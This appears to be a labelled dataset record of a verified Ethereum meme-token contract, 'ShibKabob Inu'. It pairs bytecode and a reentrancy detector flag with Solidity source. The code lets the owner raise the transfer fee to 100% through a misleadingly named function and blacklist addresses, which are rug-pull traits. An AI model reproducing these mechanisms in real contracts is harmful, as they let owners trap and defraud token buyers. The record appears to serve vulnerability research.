7d57611d7d611d9d565b500390565b6000600019821415611d9657611d96611d9d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220881d7f6a8c17337aba367f576a2490b76e5093a39c693faa71f7510a99528ee064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,417
0x077386559e55B35BC05C2FD00977DAaB78D33Cd0
/** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* ShibKabob Inu (SHIB🍢) Telegram: https://t.me/ShibKabob This doge runs the food trucks in town, and everyone is happy to pick up their street meat from SHIB🍢 Kabob recipe of features: - No dev tokens🍢 - Initial 10% token burn to start the grill🍢 - 5% Reflection to kabob holders 🍢 - Anti-listing-bot, halal only 🍢 - Anti whale dumping protection 🍢 - Cooldown and tax on mass sells 🍢 - Full liquidity provided and locked 🍢 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBKABOB is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 250000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "ShibKabob Inu"; string private constant _symbol = 'SHIB🍢'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function approveMarket(uint256 amt) external onlyOwner() { require(amt <= 100, "Amount must be less than 100"); require(amt >= 0, "Amount must be greater than 0"); _teamFee = amt; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610637578063c9567bf91461064e578063cabe2ae114610665578063d543dbeb146106a0578063dd62ed3e146106db5761011f565b8063715018a6146104195780638da5cb5b1461043057806395d89b4114610471578063a9059cbb14610501578063b515566a146105725761011f565b8063273123b7116100e7578063273123b7146102e1578063313ce567146103325780635932ead1146103605780636fc3eaec1461039d57806370a08231146103b45761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610760565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107bb565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a5565b005b34801561033e57600080fd5b506103476109c8565b604051808260ff16815260200191505060405180910390f35b34801561036c57600080fd5b5061039b6004803603602081101561038357600080fd5b810190808035151590602001909291905050506109d1565b005b3480156103a957600080fd5b506103b2610ab6565b005b3480156103c057600080fd5b50610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b6040518082815260200191505060405180910390f35b34801561042557600080fd5b5061042e610c13565b005b34801561043c57600080fd5b50610445610d99565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486610dc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c65780820151818401526020810190506104ab565b50505050905090810190601f1680156104f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050d57600080fd5b5061055a6004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dff565b60405180821515815260200191505060405180910390f35b34801561057e57600080fd5b506106356004803603602081101561059557600080fd5b81019080803590602001906401000000008111156105b257600080fd5b8201836020820111156105c457600080fd5b803590602001918460208302840111640100000000831117156105e657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610e1d565b005b34801561064357600080fd5b5061064c610f6d565b005b34801561065a57600080fd5b50610663610fe7565b005b34801561067157600080fd5b5061069e6004803603602081101561068857600080fd5b8101908080359060200190929190505050611665565b005b3480156106ac57600080fd5b506106d9600480360360208110156106c357600080fd5b8101908080359060200190929190505050611825565b005b3480156106e757600080fd5b5061074a600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d4565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f536869624b61626f6220496e7500000000000000000000000000000000000000815250905090565b60006107b16107aa611a5b565b8484611a63565b6001905092915050565b6000680d8d726b7177a80000905090565b60006107d9848484611c5a565b61089a846107e5611a5b565b61089585604051806060016040528060288152602001613f1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b611a5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124859092919063ffffffff16565b611a63565b600190509392505050565b6108ad611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6109d9611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af7611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614610b1757600080fd5b6000479050610b2581612545565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bc357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c0e565b610c0b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612640565b90505b919050565b610c1b611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f53484942f09f8da2000000000000000000000000000000000000000000000000815250905090565b6000610e13610e0c611a5b565b8484611c5a565b6001905092915050565b610e25611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f6957600160076000848481518110610f0357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ee8565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fae611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614610fce57600080fd5b6000610fd930610b28565b9050610fe4816126c4565b50565b610fef611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff1615611132576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111c230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680d8d726b7177a80000611a63565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561120857600080fd5b505afa15801561121c573d6000803e3d6000fd5b505050506040513d602081101561123257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112a557600080fd5b505afa1580156112b9573d6000803e3d6000fd5b505050506040513d60208110156112cf57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561134957600080fd5b505af115801561135d573d6000803e3d6000fd5b505050506040513d602081101561137357600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061140d30610b28565b600080611418610d99565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561149d57600080fd5b505af11580156114b1573d6000803e3d6000fd5b50505050506040513d60608110156114c857600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680d8d726b7177a800006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561162657600080fd5b505af115801561163a573d6000803e3d6000fd5b505050506040513d602081101561165057600080fd5b81019080805190602001909291905050505050565b61166d611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461172d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60648111156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416d6f756e74206d757374206265206c657373207468616e203130300000000081525060200191505060405180910390fd5b600081101561181b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b80600d8190555050565b61182d611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611992606461198483680d8d726b7177a800006129ae90919063ffffffff16565b612a3490919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f896024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ed06022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f646025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e836023913960400191505060405180910390fd5b60008111611dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f3b6029913960400191505060405180910390fd5b611dc7610d99565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e355750611e05610d99565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123c257601360179054906101000a900460ff161561209b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611eb757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f115750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561209a57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb1611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614806120275750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661200f611a5b565b73fffffffff